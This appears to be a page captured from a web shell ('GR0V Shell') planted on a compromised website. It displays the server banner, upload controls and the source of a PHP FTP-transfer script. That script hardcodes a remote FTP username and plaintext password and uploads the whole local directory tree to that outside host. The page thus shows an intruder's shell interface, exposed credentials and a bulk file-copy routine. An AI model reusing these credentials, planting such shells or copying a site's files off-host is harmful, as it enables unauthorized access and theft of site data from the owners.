? GR0V Shell

GR0V shell

Linux www.koreapackagetour.com 2.6.32-042stab145.3 #1 SMP Thu Jun 11 14:05:04 MSK 2020 x86_64

Path : /home/admin/public_html/old/
File Upload :
Current File : /home/admin/public_html/old/ftp_transfer.php

<?
	/*
		Easy-FTP-Transfer Version 1 by sab malik
		
		this is not supposed to be the best code ever to transfer files from one server to another ftp server
		but it works for me.. hope it helps you guys too.
		
		developed by sab malik http://www.decodeit.biz
		you are free to use this code and distribute it but please keep the credits :)
	*/	
	
	$main_dir_path = ".";  //---- local path to ur stuff , keeping it to "." is better , meaning upload everything in this folder and below
	$remote_root = "/public_html/file_upload";  //---- remote path , where uploaded files/folders go
	$domain = "happytokorea.com"; //-- put in remote host or ip
	$user = "nop@happytokorea.com";  //-- put in remote domain username for ftp
	$pass = "savage"; // -- put in remote domain password for ftp
	
	
	
	
	
	
	
	//--------------------------------- dont change anything below -------------///////////
	set_time_limit(0);
	ob_implicit_flush(true);
	require_once 'class.folders.php';
	$folders = new folders;
	$allfiles = array();

	$herefiles = $folders->filelist($main_dir_path);
	foreach($herefiles as $filename){
		if(!strstr($filename , "ftp_transfer.php") && !strstr($filename , "class.folders.php")){
			$allfiles[] = $filename;
		}	
	}
	$allfolders = $folders->folderlist($main_dir_path);
	foreach($allfolders as $foldername){
		$herefiles = $folders->filelist($foldername);
		foreach($herefiles as $filename){
			$allfiles[] = $filename;
		}
	}

	doftp($domain , $user , $pass , $domain , $remote_root  , $allfolders , $allfiles);

	function doftp($ftp_server , $ftp_user_name , $ftp_user_pass , $domainname , $mainpath  , $folderstomake = array() , $filestoupload = array()){
		global $PATH_TRANSLATED , $HTTP_SERVER_VARS , $core, $db, $GLOBAL_INFO , $sets;
		if(substr($mainpath , -1 ) <> "/") $mainpath = $mainpath."/";

		$main_dir_path = "";
		if($mainpath && count($filestoupload) && count($folderstomake)){
			$conn_id = ftp_connect(trim($ftp_server)); 
			$login_result = ftp_login($conn_id, $ftp_user_name, $ftp_user_pass); 
			// check connection
			echo "<br><b>trying.....".$domainname."</b><br>";
			if ((!$conn_id) || (!$login_result)) { 
				echo "<font color=red>Ftp connection has failed!<br>";
				echo "Attempted to connect to $ftp_server for user $ftp_user_name</font><br>"; 
				$error= true;
			} else {
				echo "<font color=green>Connected to $ftp_server, for user $ftp_user_name</font><br>";
			}

			if($error == false){
				$expmain = explode("/" , $mainpath);
				$stringer = "";

				for($x = 1 ; $x <  count($expmain) ; $x++){
					if(trim($expmain[$x])){
						$stringer .= "/".$expmain[$x];
						$mkd = @ftp_mkdir( $conn_id , $stringer);
						if($mkd){
							echo "<font color=blue>Creating : ".$stringer."........... Success</font><br>";
						}else{
							echo "<font color=red>tried Creating : ".$stringer."........... failed</font><br>";	
						}
					}
				}

				

				foreach($folderstomake as $newfoldername){
					$newfoldername = str_replace("..//" , "" , $newfoldername);
					$mkd = @ftp_mkdir( $conn_id , $mainpath.$newfoldername);
					if($mkd){
						echo "<font color=blue>Creating : ".$mainpath.$newfoldername."........... Success</font><br>";
					}else{
						echo "<font color=red>tried Creating : ".$mainpath.$newfoldername."........... failed</font><br>";	
					}
				}

				foreach($filestoupload as $newfilename){
					$uploadnewfilename = str_replace("..//" , "" , $newfilename);
					// upload the file

					$filename = explode("/" , $mainpath.$newfilename);
					$filename = $filename[count($filename)-1];
					$remotefolder = explode("/" , $mainpath.$uploadnewfilename);
					$remotefolder = str_replace($remotefolder[count($remotefolder)-1] , "" , $mainpath.$uploadnewfilename);
					ftp_chdir($conn_id , $remotefolder);
					$upload = ftp_put($conn_id,  $mainpath.$uploadnewfilename , $main_dir_path.$uploadnewfilename , FTP_BINARY); 

					// check upload status
					if (!$upload) { 
						echo "<font color=red> remote path : ".$remotefolder.$filename." , local path : ".$main_dir_path.$uploadnewfilename." Ftp upload has failed!</font><br>";
					} else {
						echo "<font color=green>Uploaded ".$newfilename." to $ftp_server as ".$mainpath.$uploadnewfilename."</font><br>";
					}
				}
			}

			// close the FTP stream 
			ftp_quit($conn_id); 
		}	
	}
?>

T1KUS90T
  root-grov@210.1.60.28:~$